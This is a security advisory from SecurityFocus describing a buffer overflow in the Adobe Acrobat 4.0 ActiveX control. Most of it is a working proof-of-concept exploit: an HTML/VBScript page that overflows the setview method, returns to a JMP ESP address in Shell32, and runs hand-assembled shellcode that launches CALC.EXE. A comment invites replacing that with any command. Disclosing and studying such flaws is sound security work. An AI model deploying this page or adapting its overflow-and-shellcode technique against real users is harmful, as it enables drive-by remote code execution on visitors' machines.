source: http://www.securityfocus.com/bid/666/info

There is a buffer overflow in the 1.3.188 version of the Adobe Acrobat ActiveX control (pdf.ocx) that ships with Acrobat Viewer 4.0. This ActiveX control is marked 'Safe for Scripting' within Internet Explorer 4.X. Arbitrary commands may be executed if the ActiveX control is run in a malicious manner 

This control from Adobe Acrobat, can be exploited through 
the setview method, and because ESP points to the address 
after the RET address, we can place arbitrary code at this 
point and JMP to it by RET'ing to a JMP ESP, in this case, 
one found in Shell32. The code simply executes CALC.EXE 
then calls ExitProcess to terminate the host without it 
crashing. I have attempted to notify Adobe of the issue, 
however they don't appear to have any form of direct 
secure@ address.

<object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000"
id="pdf"></object>

<script language="VBscript"><!--

msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10) 
+ "Written by Shane Hird")

expstr 
= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA" 

expstr = expstr + Chr(235)	'Address in SHELL32, Win98 
(7FD035EB) of JMP ESP
expstr = expstr + Chr(53)	'You may need to use a 
different address
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)

'Stack is slightly trashed, but NOPs fix it up ok
expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) 
+ Chr(144)

'MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

'ADD EDI, 19 (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

'PUSH EAX (Window Style EAX = 1)
expstr = expstr + Chr(80)

'PUSH EDI (Address of command line)
expstr = expstr + Chr(87)

'MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + 
Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

'PUSH EAX
expstr = expstr + Chr(80)

'MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) 
+ Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"

'Call exploitable method
pdf.setview(expstr)

--></script>